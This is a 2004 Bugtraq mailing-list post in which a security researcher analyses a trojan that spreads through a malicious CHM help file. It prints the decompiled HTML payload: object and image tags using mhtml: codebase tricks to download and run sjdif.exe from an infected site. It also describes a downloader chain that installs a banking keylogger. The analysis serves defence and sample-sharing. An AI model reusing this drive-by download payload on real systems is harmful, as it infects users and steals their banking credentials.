bugtraq - BHO Trojan follow-up information

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 29 Jun 2004 15:32:48 -0700
From: "Hubbard, Dan" <dhubbard@...sense.com>
To: <NTBUGTRAQ@...TSERV.NTBUGTRAQ.COM>, <bugtraq@...urityfocus.com>
Subject: BHO Trojan follow-up information

All;

Some more interesting information on BHO trojan:

We captured a sample file from the infected site:

* http://www.refestltd.com/

"Decompiled" the CHM file

*hh -decompile c:\dir iexpl.chm (NA shows this as keylog.lotus)

Decompiled file: (idx.htm)
<html>
<body>
<img width=1 height=1
src='mhtml:file://c:\sdfgs.mht!http://www.refestltd.com/sjdif.exe'>
<object width=1 height=1
classid='CLSID:432a4783-7454-5521-8141-012605761023'
codebase='mhtml:file://c:\sdfgs.mht!http://www.refestltd.com/sjdif.exe'>
<object width=1 height=1
classid='CLSID:16b5b163-46f2-1672-2875-456882197953'
codebase='mhtml:file://c:\sdfgs.mht!http://www.refestltd.com/sjdif.exe'>
</body>
</html>

* As previously reported uses CHM vuln..

* The sjdif.exe is recognized as Downloader.hw from NA.

* Then we ran strings on sjdif.exe and found that it connects to another
website that downloads the reported Keylogger which connects to online
banking sites that was reported here by Internet Storm Center earlier
today http://isc.sans.org/ from another remote website:
http://www.sanitziedtoprotectheinnocent.com/img1big.gif (which is the
same file that you saw), this  was set to download and be renamed to
a.scr along with dropping the BHO. 

* This file is not in NA's AV's signature at the time of testing.

The location that was in the site serving the malcode (img1big.gif) is
running Apache 1.3.31 and appears to be a VHOST on a UK hosting company.

To date we have seen no unusual activity on our honeypots to alarm there
is a worm out there.

Does anyone else have a sample of sjdif.exe that they can run strings on
and share the information of what site is set to goto ? I am very
interested to see if the malcode has embedded in it different sites? 

---------------------
Dan Hubbard	
Director, Security and Technology Research Websense Inc